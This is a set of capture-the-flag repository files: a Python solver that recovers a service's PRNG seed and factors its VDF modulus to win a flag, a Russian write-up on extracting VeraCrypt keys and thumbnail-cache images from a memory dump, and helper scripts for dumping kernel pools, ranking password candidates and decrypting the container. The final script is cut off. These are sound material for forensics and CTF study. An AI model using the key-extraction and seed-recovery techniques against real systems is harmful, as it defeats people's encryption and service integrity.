def gf2_gauss_elim(rows: List[int], rhs: List[int]) -> Optional[int]:
|
||||
"""
|
||||
Solve A x = b over GF(2) for 64 vars, return one solution as 64-bit int.
|
||||
"""
|
||||
n = 64
|
||||
m = len(rows)
|
||||
rows = rows[:]
|
||||
rhs = rhs[:]
|
||||
|
||||
pivot_row_for_col = [-1] * n
|
||||
r = 0
|
||||
for c in range(n):
|
||||
piv = None
|
||||
for i in range(r, m):
|
||||
if (rows[i] >> c) & 1:
|
||||
piv = i
|
||||
break
|
||||
if piv is None:
|
||||
continue
|
||||
rows[r], rows[piv] = rows[piv], rows[r]
|
||||
rhs[r], rhs[piv] = rhs[piv], rhs[r]
|
||||
pivot_row_for_col[c] = r
|
||||
|
||||
for i in range(m):
|
||||
if i != r and ((rows[i] >> c) & 1):
|
||||
rows[i] ^= rows[r]
|
||||
rhs[i] ^= rhs[r]
|
||||
r += 1
|
||||
if r == m:
|
||||
break
|
||||
|
||||
for i in range(m):
|
||||
if rows[i] == 0 and rhs[i] == 1:
|
||||
return None
|
||||
|
||||
x = 0
|
||||
for c in range(n - 1, -1, -1):
|
||||
pr = pivot_row_for_col[c]
|
||||
if pr == -1:
|
||||
continue
|
||||
s = rhs[pr]
|
||||
row = rows[pr]
|
||||
for j in range(c + 1, n):
|
||||
if (row >> j) & 1:
|
||||
s ^= (x >> j) & 1
|
||||
if s & 1:
|
||||
x |= 1 << c
|
||||
return x & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
|
||||
def recover_epoch_seed64_from_obs4(obs4: List[Tuple[int, int, int, int]]) -> Optional[int]:
|
||||
"""
|
||||
For each question we observe 4 consecutive xs64 outputs low 4 bits.
|
||||
"""
|
||||
obs_nibbles: List[int] = []
|
||||
for o in obs4:
|
||||
obs_nibbles.extend([o[0], o[1], o[2], o[3]])
|
||||
obs_nibbles = obs_nibbles[:200] # 50 questions * 4
|
||||
if len(obs_nibbles) < 64:
|
||||
return None
|
||||
|
||||
rows, rhs = build_linear_system_from_obs(obs_nibbles, steps=len(obs_nibbles))
|
||||
sol = gf2_gauss_elim(rows, rhs)
|
||||
return sol
|
||||
|
||||
|
||||
# ---------------- Feed client / play loop ----------------
|
||||
|
||||
class Player:
|
||||
def __init__(self, feed_url: str, book: BookNGram, play: bool):
|
||||
self.feed_url = feed_url.rstrip("/")
|
||||
self.book = book
|
||||
self.play = play
|
||||
self.session = requests.Session()
|
||||
|
||||
# Generate an Ed25519 keypair for signing messages
|
||||
self.sk = Ed25519PrivateKey.generate()
|
||||
self.pk = self.sk.public_key().public_bytes(
|
||||
encoding=serialization.Encoding.Raw,
|
||||
format=serialization.PublicFormat.Raw,
|
||||
)
|
||||
self.kid = kid_from_pk_sha256_8_hex(self.pk)
|
||||
|
||||
self.pk_b64 = b64e(self.pk)
|
||||
|
||||
# Learned data
|
||||
self.vocab: Optional[Vocab] = None
|
||||
self.master_seed64: Optional[int] = None
|
||||
self.master_seed32: Optional[int] = None
|
||||
self.vdf_p: Optional[int] = None
|
||||
self.vdf_q: Optional[int] = None
|
||||
self.vdf_N: Optional[int] = None
|
||||
self.vdf_T: Optional[int] = None
|
||||
|
||||
self.answered_election_qids: set[int] = set()
|
||||
self._last_epoch_seen: Optional[int] = None
|
||||
self._flag_sent_epoch: Optional[int] = None
|
||||
self._flag_qid: Optional[int] = None
|
||||
self._all_observed_questions: List[str] = [] # accumulate across epochs for vocab
|
||||
|
||||
def get_status(self) -> Dict[str, Any]:
|
||||
r = self.session.get(self.feed_url + "/status", timeout=5)
|
||||
r.raise_for_status()
|
||||
return r.json()
|
||||
|
||||
def get_feed(self) -> List[Dict[str, Any]]:
|
||||
r = self.session.get(self.feed_url + "/feed", timeout=10)
|
||||
r.raise_for_status()
|
||||
return r.json()
|
||||
|
||||
def post(self, *, kind: str, epoch: int, qid: int, text: str) -> None:
|
||||
msg = {
|
||||
"ts": int(time.time()),
|
||||
"kind": kind,
|
||||
"kid": self.kid,
|
||||
"epoch": int(epoch),
|
||||
"qid": int(qid),
|
||||
"text": text,
|
||||
"pk": self.pk_b64,
|
||||
"sig": "",
|
||||
}
|
||||
sig = self.sk.sign(canonical_msg_without_sig(msg))
|
||||
msg["sig"] = b64e(sig)
|
||||
r = self.session.post(self.feed_url + "/feed", json=msg, timeout=10)
|
||||
r.raise_for_status()
|
||||
|
||||
def try_learn_and_break(self, epoch: int, leader_kid: str, feed: List[Dict[str, Any]]) -> None:
|
||||
qs = [str(m.get("text", "")) for m in feed if m.get("kind") == KIND_QUESTION and m.get("kid") == leader_kid]
|
||||
if len(qs) < 20:
|
||||
return
|
||||
|
||||
if self.vocab is None:
|
||||
# Accumulate questions across epochs for vocab discovery
|
||||
self._all_observed_questions.extend(qs)
|
||||
v = build_vocab_from_questions(self._all_observed_questions)
|
||||
if len(v.W) == 16 and len(v.N) == 16 and len(v.A) == 16 and len(v.E) == 16:
|
||||
self.vocab = v
|
||||
print("[solver] learned vocab sets (16 each)")
|
||||
|
||||
if self.vocab is None:
|
||||
return
|
||||
|
||||
obs4 = []
|
||||
for q in qs:
|
||||
o = question_to_obs4(q, self.vocab)
|
||||
if o is not None:
|
||||
obs4.append(o)
|
||||
|
||||
if self.master_seed64 is None:
|
||||
seed_epoch64 = recover_epoch_seed64_from_obs4(obs4)
|
||||
if seed_epoch64 is None:
|
||||
return
|
||||
self.master_seed64 = seed_epoch64 ^ (epoch & 0xFFFFFFFFFFFFFFFF)
|
||||
self.master_seed32 = self.master_seed64 & 0xFFFFFFFF
|
||||
print(f"[solver] recovered master_seed64 = {self.master_seed64} (0x{self.master_seed64:016x})")
|
||||
print(f"[solver] derived master_seed32 = {self.master_seed32} (0x{self.master_seed32:08x})")
|
||||
|
||||
if self.master_seed64 is not None and self.vdf_T is not None and self.vdf_N is not None and self.vdf_p is None:
|
||||
p, q, N = generate_vdf_params(self.master_seed64, self.vdf_T)
|
||||
if N != self.vdf_N:
|
||||
print("[solver] generated N does not match /status (wrong seed?)")
|
||||
return
|
||||
self.vdf_p = p
|
||||
self.vdf_q = q
|
||||
print("[solver] factored vdf_N via regeneration: OK")
|
||||
|
||||
def maybe_ask_flag_question(self, epoch: int, mode: str, leader: str, feed: List[Dict[str, Any]]) -> None:
|
||||
if not self.play:
|
||||
return
|
||||
if mode != "CHAT":
|
||||
return
|
||||
if leader != self.kid:
|
||||
return
|
||||
if self._flag_sent_epoch == epoch:
|
||||
return
|
||||
|
||||
# выбрать следующий свободный qid для моих QUESTION в этой эпохе
|
||||
my_qids = []
|
||||
for m in feed:
|
||||
try:
|
||||
if int(m.get("epoch", -1)) != int(epoch):
|
||||
continue
|
||||
if str(m.get("kind")) != KIND_QUESTION:
|
||||
continue
|
||||
if str(m.get("kid")) != self.kid:
|
||||
continue
|
||||
my_qids.append(int(m.get("qid", -1)))
|
||||
except Exception:
|
||||
continue
|
||||
qid = (max(my_qids) + 1) if my_qids else 0
|
||||
|
||||
self.post(kind=KIND_QUESTION, epoch=epoch, qid=qid, text=FLAG_QUESTION_TEXT)
|
||||
self._flag_sent_epoch = epoch
|
||||
self._flag_qid = qid
|
||||
print(f"[solver] asked flag question qid={qid}")
|
||||
|
||||
def maybe_print_flag_answer(self, epoch: int, feed: List[Dict[str, Any]]) -> None:
|
||||
if self._flag_sent_epoch != epoch or self._flag_qid is None:
|
||||
return
|
||||
for m in feed:
|
||||
try:
|
||||
if int(m.get("epoch", -1)) != int(epoch):
|
||||
continue
|
||||
if str(m.get("kind")) != KIND_ANSWER:
|
||||
continue
|
||||
if int(m.get("qid", -1)) != int(self._flag_qid):
|
||||
continue
|
||||
txt = str(m.get("text", ""))
|
||||
except Exception:
|
||||
continue
|
||||
if txt.startswith("caplag{"):
|
||||
print(f"[solver] FLAG: {txt}")
|
||||
return
|
||||
|
||||
def play_showtime(self, epoch: int, mode: str, feed: List[Dict[str, Any]]) -> None:
|
||||
if not self.play or mode != "ELECTION":
|
||||
return
|
||||
if self.vdf_p is None or self.vdf_q is None or self.vdf_T is None:
|
||||
return
|
||||
|
||||
# Собрать все election questions текущей epoch
|
||||
qs = []
|
||||
for m in feed:
|
||||
if m.get("kind") == KIND_ELECTION_Q and int(m.get("epoch", -1)) == int(epoch):
|
||||
qid = int(m.get("qid", -1))
|
||||
if qid >= 0:
|
||||
qs.append((qid, str(m.get("text", ""))))
|
||||
|
||||
for qid, q_text in qs:
|
||||
if qid in self.answered_election_qids:
|
||||
continue
|
||||
ans = expected_answer_fast(q_text, epoch, self.kid, self.book, self.vdf_p, self.vdf_q, self.vdf_T)
|
||||
self.post(kind=KIND_ELECTION_A, epoch=epoch, qid=qid, text=ans)
|
||||
self.answered_election_qids.add(qid)
|
||||
|
||||
|
||||
def run_forever(self) -> None:
|
||||
print(f"[solver] kid={self.kid} book.dict_size={self.book.dict_size}")
|
||||
|
||||
while True:
|
||||
try:
|
||||
st = self.get_status()
|
||||
epoch = int(st["epoch"])
|
||||
mode = str(st["mode"])
|
||||
leader = str(st["leader_kid"]).lower()
|
||||
|
||||
if self._last_epoch_seen is None or epoch != self._last_epoch_seen:
|
||||
self.answered_election_qids.clear()
|
||||
self._last_epoch_seen = epoch
|
||||
|
||||
if str(st.get("answer_algo")) != ANSWER_ALGO:
|
||||
raise RuntimeError(f"unexpected answer_algo: {st.get('answer_algo')}")
|
||||
if str(st.get("question_algo")) != QUESTION_ALGO:
|
||||
raise RuntimeError(f"unexpected question_algo: {st.get('question_algo')}")
|
||||
|
||||
self.vdf_N = int(st["vdf_N_hex"], 16)
|
||||
self.vdf_T = int(st["vdf_T"])
|
||||
|
||||
# Ensure our local book-derived answer space matches the service
|
||||
if "ngram_len" in st and int(st["ngram_len"]) != NGRAM_LEN:
|
||||
raise RuntimeError(f"unexpected ngram_len: {st.get('ngram_len')}")
|
||||
if "answer_space" in st:
|
||||
svc_space = int(st["answer_space"])
|
||||
if svc_space != self.book.dict_size:
|
||||
max_space = len(self.book.tokens) - NGRAM_LEN + 1
|
||||
if svc_space <= max_space and (svc_space & (svc_space - 1)) == 0:
|
||||
print(f"[solver] overriding local dict_size {self.book.dict_size} -> {svc_space} from /status")
|
||||
self.book.dict_size = svc_space
|
||||
else:
|
||||
raise RuntimeError("service answer_space is incompatible with local book")
|
||||
|
||||
feed = self.get_feed()
|
||||
self.maybe_ask_flag_question(epoch, mode, leader, feed)
|
||||
self.maybe_print_flag_answer(epoch, feed)
|
||||
|
||||
self.try_learn_and_break(epoch, leader, feed)
|
||||
self.play_showtime(epoch, mode, feed)
|
||||
|
||||
if leader == self.kid:
|
||||
print("[solver] I am the leader now!")
|
||||
|
||||
except Exception as e:
|
||||
print("[solver] error:", repr(e))
|
||||
|
||||
sleep = 0.02 if mode == "ELECTION" else 0.25 # (не обязательно, но так чуть быстрее)
|
||||
time.sleep(sleep)
|
||||
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--feed", required=True, help="Feed URL, e.g. http://127.0.0.1:9000")
|
||||
ap.add_argument("--book", required=True, help="Path to KOI8-R book file")
|
||||
ap.add_argument("--book-encoding", default="koi8_r")
|
||||
ap.add_argument("--play", action="store_true", help="Actively answer election questions")
|
||||
args = ap.parse_args()
|
||||
|
||||
book = BookNGram.load(args.book, encoding=args.book_encoding)
|
||||
Player(args.feed, book, play=bool(args.play)).run_forever()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
90
HumanAI-Forensic-Hard/README.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# HumanAI
|
||||
|
||||
Мир захлестнул ИИ‑контент: генерации, копии, шум. Но где‑то в памяти системы есть то, что создано человеком. Найди это https://git.caplag.ru/kernel/HumanAI
|
||||
|
||||
## Решение
|
||||
|
||||
Всего есть два варианта решения:
|
||||
1. Плановое решение: восстановление контейнера VeraCrypt + извлечение криптоключей из RAM.
|
||||
2. Незапланированное решение: извлечение флага через кэш миниатюр Windows.
|
||||
|
||||
Сразу же загружаем дамп памяти в **Volatility**, выполняем базовые команды (`pslist`, `filescan` и т. д.).
|
||||
Что интересного узнаём:
|
||||
- VeraCrypt был запущен;
|
||||
- контейнер `human.vc` был смонтирован.
|
||||
|
||||
### Потихоньку-помаленьку
|
||||
|
||||
Проверяем следы присутствия **VeraCrypt**:
|
||||
```powershell
|
||||
vol -q -f .\memdump.mem windows.modules | Select-String -Pattern "veracrypt|truecrypt" -CaseSensitive:$false
|
||||
vol -q -f .\memdump.mem windows.pslist | Select-String -Pattern "veracrypt" -CaseSensitive:$false
|
||||
vol -q -f .\memdump.mem windows.symlinkscan | Select-String -Pattern "VeraCrypt|Volume" -CaseSensitive:$false
|
||||
```
|
||||
|
||||
Из этого мы сможем вытянуть достаточно важную информацию. Как минимум мы получим *модуль драйвера* VeraCrypt, его *процесс* и *букву смонтированного тома* вида `K:` -> `\Device\VeraCryptVolume...`.
|
||||
|
||||
### Плановый вариант решения
|
||||
|
||||
Начнем с того, что восстановим `human.vc` из памяти. Ищем файловый объект:
|
||||
```powershell
|
||||
vol -q -f .\memdump.mem -r csv windows.filescan | Select-String -Pattern "human\\.vc|\\.vc$" -CaseSensitive:$false
|
||||
```
|
||||
|
||||
Дальше выгружаем файл через `dumpfiles`:
|
||||
```powershell
|
||||
mkdir out\dumpfiles -Force | Out-Null
|
||||
vol -q -f .\memdump.mem -o out\dumpfiles windows.dumpfiles --filter "human\\.vc$|human\\.vc" --ignore-case
|
||||
```
|
||||
|
||||
Обычно нужный файл находится среди объектов `SharedCacheMap` (часто с расширением `.vacb`). П
|
||||
Пароль может не сохраниться в памяти, поэтому надёжнее идти через мастер-ключи. Одна из рабочих точек входа - *Big Pool*:
|
||||
```powershell
|
||||
vol -q -f .\memdump.mem -r csv windows.bigpools | Select-String -Pattern "VCMM|TC|VC" -CaseSensitive:$false
|
||||
```
|
||||
|
||||
Дальше нужно производим выгрузку памяти по подходящим `pool tag` и осуществляема поиск пар ключей AES-256 для XTS (`key_a`, `key_b`). Основными признаками, что мы вышли на верные ключи:
|
||||
- находятся две разные 32-байтовые последовательности;
|
||||
- они стабильно повторяются в связанных дампах.
|
||||
|
||||
Проверяем, что ключи действительно дешифруют начало файловой системы. Для VeraCrypt данные начнутся после оффсета на `0x20000`. После AES-XTS-дешифровки сектора структура должна быть похожа на boot sector файловой системы и сигнатуры и поля должны выглядеть осмысленно, а не как случайный шум.
|
||||
|
||||
После подтверждения ключей и оффсета:
|
||||
- расшифровываем контейнер;
|
||||
- парсим файловую систему (в этом таске была FAT32);
|
||||
- извлекаем файлы и находим флаг.
|
||||
|
||||
### Неожиданный вариант решения
|
||||
|
||||
Эта ветка сработала без полного дешифрования контейнера. В дампе можно искать строки, связанные с путём к файлу флага:
|
||||
|
||||
```powershell
|
||||
strings -n 6 .\memdump.mem | Select-String -Pattern "flag|thumbcache|\\\.png|\\\.jpg|K:\\" -CaseSensitive:$false
|
||||
```
|
||||
|
||||
Таким образом в памяти встретится путь к `flag.png` на смонтированном томе VeraCrypt. Теперь проверим, есть ли исходный файл в файловых объектах:
|
||||
|
||||
```powershell
|
||||
vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "flag\\.png|flag" -CaseSensitive:$false
|
||||
```
|
||||
|
||||
Напрямую файл `flag.png` найти не получится, но это не тупик. Приступаем к изучению следующего потенциального кандидата - кэш миниатюр Windows:
|
||||
|
||||
```powershell
|
||||
vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "thumbcache_.*\\.db|thumbcache" -CaseSensitive:$false
|
||||
```
|
||||
|
||||
Выгрузим найденные объекты:
|
||||
```powershell
|
||||
mkdir out\thumbs -Force | Out-Null
|
||||
vol -q -f .\memdump.mem -o out\thumbs windows.dumpfiles --filter "thumbcache_.*\\.db|thumbcache" --ignore-case
|
||||
```
|
||||
|
||||
И теперь, наконец, извлечем изображения из дампа кэша. Как вариант, можно воспользоваться `carving`:
|
||||
|
||||
```powershell
|
||||
cd .\out\thumbs
|
||||
Get-ChildItem -File | ForEach-Object { binwalk -e -M $_.FullName }
|
||||
```
|
||||
|
||||
После этого просматриваем извлечённые изображения. Флаг окажется в одной из миниатюр.
|
||||
108
HumanAI-Forensic-Hard/scripts/bigpooldump.py
Normal file
@@ -0,0 +1,108 @@
|
||||
import logging
|
||||
from typing import Iterator, List, Optional, Tuple
|
||||
|
||||
from volatility3.framework import exceptions, interfaces, renderers
|
||||
from volatility3.framework.configuration import requirements
|
||||
from volatility3.framework.renderers import format_hints
|
||||
from volatility3.plugins.windows import bigpools
|
||||
|
||||
vollog = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BigPoolDump(interfaces.plugins.PluginInterface):
|
||||
|
||||
|
||||
_version = (0, 1, 0)
|
||||
_required_framework_version = (2, 0, 0)
|
||||
|
||||
@classmethod
|
||||
def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
|
||||
return [
|
||||
requirements.ModuleRequirement(
|
||||
name="kernel",
|
||||
description="Windows kernel",
|
||||
architectures=["Intel32", "Intel64"],
|
||||
),
|
||||
requirements.VersionRequirement(
|
||||
name="bigpools", component=bigpools.BigPools, version=(2, 0, 0)
|
||||
),
|
||||
requirements.StringRequirement(
|
||||
name="tags",
|
||||
description="Comma-separated list of pool tags to dump (e.g. TcDN,Tcpt)",
|
||||
optional=False,
|
||||
),
|
||||
requirements.BooleanRequirement(
|
||||
name="include-free",
|
||||
description="Include freed allocations",
|
||||
default=False,
|
||||
optional=True,
|
||||
),
|
||||
]
|
||||
|
||||
def _dump_one(self, addr: int, size: int, tag: str) -> Optional[str]:
|
||||
kernel = self.context.modules[self.config["kernel"]]
|
||||
layer = self.context.layers[kernel.layer_name]
|
||||
|
||||
filename = f"bigpool.{tag}.0x{addr:016x}.0x{size:x}.dmp"
|
||||
try:
|
||||
data = layer.read(addr, size, pad=True)
|
||||
except exceptions.InvalidAddressException:
|
||||
return None
|
||||
|
||||
try:
|
||||
with self.open(filename) as fp:
|
||||
fp.write(data)
|
||||
return filename
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
def _generator(self) -> Iterator[Tuple[int, Tuple[object, ...]]]:
|
||||
tags = [t.strip() for t in (self.config.get("tags") or "").split(",") if t.strip()]
|
||||
if not tags:
|
||||
vollog.warning("No tags specified")
|
||||
return
|
||||
|
||||
show_free = bool(self.config.get("include-free"))
|
||||
|
||||
for big_pool in bigpools.BigPools.list_big_pools(
|
||||
context=self.context,
|
||||
kernel_module_name=self.config["kernel"],
|
||||
tags=tags,
|
||||
show_free=show_free,
|
||||
):
|
||||
tag = big_pool.get_key()
|
||||
size = big_pool.get_number_of_bytes()
|
||||
if isinstance(size, interfaces.renderers.BaseAbsentValue):
|
||||
continue
|
||||
addr = int(big_pool.Va) & ~1
|
||||
|
||||
dumped_as = self._dump_one(addr, int(size), tag)
|
||||
if dumped_as is None:
|
||||
dumped_as = renderers.UnreadableValue()
|
||||
|
||||
status = "Free" if big_pool.is_free() else "Allocated"
|
||||
|
||||
yield (
|
||||
0,
|
||||
(
|
||||
format_hints.Hex(addr),
|
||||
tag,
|
||||
format_hints.Hex(int(size)),
|
||||
big_pool.get_pool_type(),
|
||||
status,
|
||||
dumped_as,
|
||||
),
|
||||
)
|
||||
|
||||
def run(self) -> renderers.TreeGrid:
|
||||
return renderers.TreeGrid(
|
||||
[
|
||||
("Allocation", format_hints.Hex),
|
||||
("Tag", str),
|
||||
("NumberOfBytes", format_hints.Hex),
|
||||
("PoolType", str),
|
||||
("Status", str),
|
||||
("File output", str),
|
||||
],
|
||||
self._generator(),
|
||||
)
|
||||
188
HumanAI-Forensic-Hard/scripts/extract_password_candidates.py
Normal file
@@ -0,0 +1,188 @@
|
||||
import argparse
|
||||
import math
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Dict, Iterable, Iterator, List, Tuple
|
||||
|
||||
|
||||
ASCII_RE_TEMPLATE = rb"[ -~]{%d,%d}"
|
||||
UTF16LE_ASCII_RE_TEMPLATE = rb"(?:[ -~]\x00){%d,%d}"
|
||||
|
||||
|
||||
@dataclass
|
||||
class Hit:
|
||||
s: str
|
||||
score: float
|
||||
file: Path
|
||||
offset: int
|
||||
kind: str
|
||||
count: int = 1
|
||||
|
||||
|
||||
def iter_files(paths: Iterable[str]) -> Iterator[Path]:
|
||||
for p in paths:
|
||||
path = Path(p)
|
||||
if path.is_dir():
|
||||
for child in sorted(path.rglob("*")):
|
||||
if child.is_file():
|
||||
yield child
|
||||
elif path.is_file():
|
||||
yield path
|
||||
|
||||
|
||||
def shannon_entropy(s: str) -> float:
|
||||
if not s:
|
||||
return 0.0
|
||||
freq: Dict[str, int] = {}
|
||||
for ch in s:
|
||||
freq[ch] = freq.get(ch, 0) + 1
|
||||
n = len(s)
|
||||
ent = 0.0
|
||||
for c in freq.values():
|
||||
p = c / n
|
||||
ent -= p * math.log2(p)
|
||||
return ent
|
||||
|
||||
|
||||
BAD_SUBSTRINGS = (
|
||||
"\\\\",
|
||||
"\\Registry\\",
|
||||
"\\Registry",
|
||||
"\\BaseNamedObjects\\",
|
||||
"\\BaseNamedObjects",
|
||||
":\\",
|
||||
"/",
|
||||
"System32",
|
||||
"Windows",
|
||||
"Microsoft",
|
||||
"CLSID",
|
||||
"AppX",
|
||||
"shell:::",
|
||||
"atom(",
|
||||
".dll",
|
||||
".exe",
|
||||
".sys",
|
||||
".ini",
|
||||
".mui",
|
||||
".nls",
|
||||
".png",
|
||||
".jpg",
|
||||
".jpeg",
|
||||
".gif",
|
||||
".ttf",
|
||||
".otf",
|
||||
".wav",
|
||||
".mp3",
|
||||
".mp4",
|
||||
".sqlite",
|
||||
)
|
||||
|
||||
|
||||
def looks_passwordish(s: str) -> bool:
|
||||
|
||||
if any(ch in s for ch in ('\\', '/', ':', '<', '>', '"', "'", '=', '\t', '\r', '\n')):
|
||||
return False
|
||||
if any(bad in s for bad in BAD_SUBSTRINGS):
|
||||
return False
|
||||
if s.startswith("http://") or s.startswith("https://"):
|
||||
return False
|
||||
|
||||
if s.count(" ") >= 4:
|
||||
return False
|
||||
|
||||
if len(set(s)) <= 3:
|
||||
return False
|
||||
|
||||
if re.fullmatch(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", s):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def score_string(s: str) -> float:
|
||||
has_lower = any("a" <= c <= "z" for c in s)
|
||||
has_upper = any("A" <= c <= "Z" for c in s)
|
||||
has_digit = any("0" <= c <= "9" for c in s)
|
||||
has_special = any(not c.isalnum() for c in s)
|
||||
|
||||
ent = shannon_entropy(s)
|
||||
score = ent * len(s)
|
||||
score += 5.0 * has_lower
|
||||
score += 5.0 * has_upper
|
||||
score += 5.0 * has_digit
|
||||
score += 5.0 * has_special
|
||||
if " " in s:
|
||||
score -= 2.0
|
||||
if s.islower() or s.isupper():
|
||||
score -= 1.0
|
||||
if all(c in "0123456789abcdefABCDEF" for c in s):
|
||||
score -= 3.0
|
||||
return score
|
||||
|
||||
|
||||
def extract_hits(data: bytes, *, min_len: int, max_len: int) -> Iterator[Tuple[str, int, str]]:
|
||||
ascii_re = re.compile(ASCII_RE_TEMPLATE % (min_len, max_len))
|
||||
utf16_re = re.compile(UTF16LE_ASCII_RE_TEMPLATE % (min_len, max_len))
|
||||
|
||||
for m in ascii_re.finditer(data):
|
||||
s = m.group(0).decode("ascii", errors="ignore")
|
||||
yield s, m.start(), "ascii"
|
||||
|
||||
for m in utf16_re.finditer(data):
|
||||
raw = m.group(0)
|
||||
s = raw[::2].decode("ascii", errors="ignore")
|
||||
yield s, m.start(), "utf16le"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("paths", nargs="+", help="Files/dirs to scan")
|
||||
ap.add_argument("--min-len", type=int, default=8)
|
||||
ap.add_argument("--max-len", type=int, default=64)
|
||||
ap.add_argument("--top", type=int, default=80)
|
||||
ap.add_argument("--grep", type=str, default="", help="Only show hits containing this substring")
|
||||
args = ap.parse_args()
|
||||
|
||||
best: Dict[str, Hit] = {}
|
||||
grep = args.grep
|
||||
|
||||
for fp in iter_files(args.paths):
|
||||
|
||||
if fp.suffix.lower() not in (".dmp", ".mem", ".raw", ".bin", ""):
|
||||
continue
|
||||
|
||||
try:
|
||||
data = fp.read_bytes()
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
for s, off, kind in extract_hits(data, min_len=args.min_len, max_len=args.max_len):
|
||||
if grep and grep not in s:
|
||||
continue
|
||||
if not looks_passwordish(s):
|
||||
continue
|
||||
sc = score_string(s)
|
||||
existing = best.get(s)
|
||||
if existing is None:
|
||||
best[s] = Hit(s=s, score=sc, file=fp, offset=off, kind=kind)
|
||||
else:
|
||||
existing.count += 1
|
||||
if sc > existing.score:
|
||||
existing.score = sc
|
||||
existing.file = fp
|
||||
existing.offset = off
|
||||
existing.kind = kind
|
||||
|
||||
hits: List[Hit] = sorted(best.values(), key=lambda h: h.score, reverse=True)
|
||||
if not hits:
|
||||
print("[!] No candidates found")
|
||||
return 2
|
||||
|
||||
for h in hits[: args.top]:
|
||||
print(f"{h.score:8.2f}\t{h.count:4d}\t{h.kind}\t{h.file}\t0x{h.offset:X}\t{h.s}")
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
346
HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py
Normal file
@@ -0,0 +1,346 @@
|
||||
import argparse
|
||||
import os
|
||||
import struct
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Dict, Iterable, Iterator, List, Optional, Tuple
|
||||
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
|
||||
|
||||
SECTOR_SIZE = 512
|
||||
|
||||
|
||||
@dataclass
|
||||
class Fat32BPB:
|
||||
bytes_per_sector: int
|
||||
sectors_per_cluster: int
|
||||
reserved_sectors: int
|
||||
num_fats: int
|
||||
total_sectors: int
|
||||
fat_size_sectors: int
|
||||
root_cluster: int
|
||||
|
||||
@property
|
||||
def first_fat_sector(self) -> int:
|
||||
return self.reserved_sectors
|
||||
|
||||
@property
|
||||
def first_data_sector(self) -> int:
|
||||
return self.reserved_sectors + self.num_fats * self.fat_size_sectors
|
||||
|
||||
|
||||
class VeraCryptFileVolume:
|
||||
"""Reads plaintext sectors from a VeraCrypt file container that is already decrypted in RAM (keys known)."""
|
||||
|
||||
def __init__(self, container: Path, xts_key: bytes, data_offset: int, data_length: Optional[int] = None):
|
||||
self.container = container
|
||||
self.xts_key = xts_key
|
||||
self.base_file_sector = data_offset // SECTOR_SIZE
|
||||
if data_offset % SECTOR_SIZE != 0:
|
||||
raise ValueError("data_offset must be sector-aligned")
|
||||
|
||||
st = container.stat()
|
||||
if data_length is None:
|
||||
# Assume standard file container layout: header area at start AND backup header at end.
|
||||
data_length = st.st_size - 2 * data_offset
|
||||
self.data_length = data_length
|
||||
if self.data_length < SECTOR_SIZE or self.data_length % SECTOR_SIZE != 0:
|
||||
raise ValueError("data_length must be a positive multiple of sector size")
|
||||
self.total_sectors = self.data_length // SECTOR_SIZE
|
||||
|
||||
self._fh = open(container, "rb")
|
||||
|
||||
def close(self) -> None:
|
||||
try:
|
||||
self._fh.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _decrypt_sector(self, file_sector: int, ct: bytes) -> bytes:
|
||||
tweak = int(file_sector).to_bytes(16, "little", signed=False)
|
||||
dec = Cipher(algorithms.AES(self.xts_key), modes.XTS(tweak)).decryptor()
|
||||
return dec.update(ct) + dec.finalize()
|
||||
|
||||
def read_sector(self, vol_sector: int) -> bytes:
|
||||
if not (0 <= vol_sector < self.total_sectors):
|
||||
raise ValueError("volume sector out of range")
|
||||
file_sector = self.base_file_sector + vol_sector
|
||||
self._fh.seek(file_sector * SECTOR_SIZE)
|
||||
ct = self._fh.read(SECTOR_SIZE)
|
||||
if len(ct) != SECTOR_SIZE:
|
||||
raise IOError("short read")
|
||||
return self._decrypt_sector(file_sector, ct)
|
||||
|
||||
|
||||
def parse_fat32_bpb(boot_sector: bytes) -> Fat32BPB:
|
||||
oem = boot_sector[3:11]
|
||||
if oem != b"MSDOS5.0":
|
||||
raise ValueError(f"Unexpected OEM {oem!r} (expected MSDOS5.0)")
|
||||
|
||||
bps = struct.unpack_from("<H", boot_sector, 11)[0]
|
||||
spc = boot_sector[13]
|
||||
rsvd = struct.unpack_from("<H", boot_sector, 14)[0]
|
||||
nfats = boot_sector[16]
|
||||
root_ent_cnt = struct.unpack_from("<H", boot_sector, 17)[0]
|
||||
tot16 = struct.unpack_from("<H", boot_sector, 19)[0]
|
||||
fatsz16 = struct.unpack_from("<H", boot_sector, 22)[0]
|
||||
tot32 = struct.unpack_from("<I", boot_sector, 32)[0]
|
||||
fatsz32 = struct.unpack_from("<I", boot_sector, 36)[0]
|
||||
root_clus = struct.unpack_from("<I", boot_sector, 44)[0]
|
||||
|
||||
if bps != SECTOR_SIZE:
|
||||
raise ValueError(f"Unsupported bytes/sector: {bps}")
|
||||
if root_ent_cnt != 0:
|
||||
raise ValueError("Not FAT32 (root entry count != 0)")
|
||||
if fatsz16 != 0:
|
||||
raise ValueError("Not FAT32 (FATSz16 != 0)")
|
||||
|
||||
tot = tot32 or tot16
|
||||
if tot == 0:
|
||||
raise ValueError("Invalid total sectors")
|
||||
if spc == 0:
|
||||
raise ValueError("Invalid sectors/cluster")
|
||||
if nfats < 1:
|
||||
raise ValueError("Invalid number of FATs")
|
||||
if fatsz32 == 0:
|
||||
raise ValueError("Invalid FAT size")
